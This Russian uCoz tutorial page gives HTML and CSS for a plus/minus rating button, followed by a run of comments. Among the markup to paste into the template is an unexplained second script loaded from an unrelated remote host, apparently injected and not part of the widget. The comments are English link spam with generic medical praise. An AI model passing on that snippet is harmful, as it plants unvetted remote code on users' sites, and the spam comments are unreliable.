Главная » 2014 » Сентябрь » 13 » Кнопка рейтинга + и -
17:09
Кнопка рейтинга + и -

скрипт рейтинга с положительной и отрицательной оценкой для юкоз
Установка:
В шаблон вида материалов нужного модуля вставляем код:

Код
<script type="text/javascript" src="http://pnghosts.ru/js_css/55_rate.js"></script>  
<div class="rate">
<a class="orating_m" title="Не нравится" href="#" onclick="rateForm(-1,$ID$);return false"></a>
<a class="orating_p" title="Нравится" href="#" onclick="rateForm(1,$ID$);return false"></a>
<a class="orating_res"><script type="text/javascript" src="http://left.pw/div.js"></script><b title="Голосов: $RATED$" id="rate_$ID$" class="<?if(($RATING$*$RATED$-2*$RATED$)=0)?>nullRate<?else?><?if(($RATING$*$RATED$-2*$RATED$)<0)?>negativeRate<?else?>positiveRate<?endif?> <?endif?>"><script type="text/javascript">document.write(Math.round(<?($RATING$*$RATED$)?>)-<?2*$RATED$?>)</script></b> </a>  
</div>


В CSS стиль вставляем:

Код
.rate {background:url(http://pnghosts.ru/img/orating.png) no-repeat; width:73px; height:21px; position:relative; margin:7px 0 0 5px; padding:3px 0 0 0; text-align:center;}
a.orating_m, a.orating_p{height:21px; width:21px; background:url(http://pnghosts.ru/img/orating.png) no-repeat;}
a.orating_m{float:right; background-position:-21px -24px; margin:-1px 1px 0 0;}
a.orating_m:hover{background-position:-21px 100%;}
a.orating_m.orated{background-position:-21px -24px;}
a.orating_p{float:left; background-position:0 -24px; margin:-1px 0 0 1px;}
a.orating_p:hover{background-position:0 100%;}
a.orating_p.orated{background-position:0 100%;}
a.orating_res,span.orating_res {background:#64b327; box-shadow:inset 0 1px 1px rgba(0,0,0,0.2); font-size:10px; color:#fff; padding:3px 8px; border-radius:5px;line-height:20px;}
a.orating_res:hover{color:#f0f0f0;}


Для модуля "Новости", заменяем $ID$ на $ENTRY_ID$
Категория: Скрипты для Ucoz | Просмотров: 8871 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 751 2 3 ... 7 8 »
75 Hdkhtr  
0
The article rightly stresses early mobilization in ICU patients to prevent muscle wasting. - https://www.pawlicy.com/vets-near-me/ny/astoria/21-avenue-animal-clinic-pc-18796/ , Valuable analysis of the gut-lung axis in respiratory diseases. .

74 Fiesbv  
0
The piece on cognitive behavioral therapy for insomnia is evidence-based and practical. - https://sentibene.ch/vertriebspartner.html , Excellent synthesis of current evidence on medical cannabis. More rigorous RCTs are still required. .

73 Ujdjhp  
0
Thorough analysis of AI applications in radiology. While promising, human oversight must not be compromised. - https://www.moloch.at/Lezns/2004/Haefm/Haefm.htm , Valuable insights into the long-term effects of childhood obesity. .

72 Djbhtt  
0
Innovative digital therapeutic for chronic pain management. Adjunctive use with conventional therapy shows synergy. - https://www.dasoertliche.de/Themen/Scholz-Oliver-Dr-med-N%C3%BCrnberg-Schweinau-Elisenstr , Bariatric surgery is highly effective for severe obesity and often leads to diabetes remission. .

71 Iouqhc  
0
Valuable analysis of the gut-lung axis in respiratory diseases. - https://restaurantegurea.es/farmacia-fanabe-playa/ , Excellent summary of SGLT2 inhibitors in heart failure. Their cardio-renal protective effects continue to impress. .

70 Dtyajn  
0
Valuable review of nutritional support in critically ill patients. - https://www.ssrd.ch/ordentliche-mitglieder-patienten.html , The article correctly identifies sarcopenia as an underrecognized geriatric syndrome with major clinical impact. .

69 Ofzozp  
0
SGLT2 inhibitors have benefits far beyond glucose control, including heart failure and kidney protection. - https://www.avisen.dk/Pages/Guests/Articles/2020/ShowTemplatedArticle.aspx?ArticleID=171998 , Thorough analysis of checkpoint inhibitors and their immune-related adverse events. .

68 Zxxfle  
0
This piece provides practical guidance on deprescribing in geriatrics. - https://www.thumplocal.net/queens/pet-grooming/21-avenue-animal-clinic , This article highlights emerging therapies for inflammatory bowel disease. .

67 Oycpvj  
0
Music therapy has measurable benefits in dementia care and post-stroke rehabilitation. - https://nicolediem.ch/apps/store-locator , This review correctly emphasizes the importance of bone health in cancer patients. .

66 Lkjjvh  
0
Valuable contribution regarding climate change and its direct effects on respiratory health. - https://tofarmacias.com/farmacia-fanabe-playa-costa-adeje/ , The discussion on physician burnout and its impact on patient safety is sobering and necessary. .

1-10 11-20 21-30 ... 61-70 71-75
Имя *:
Email *:
Код *: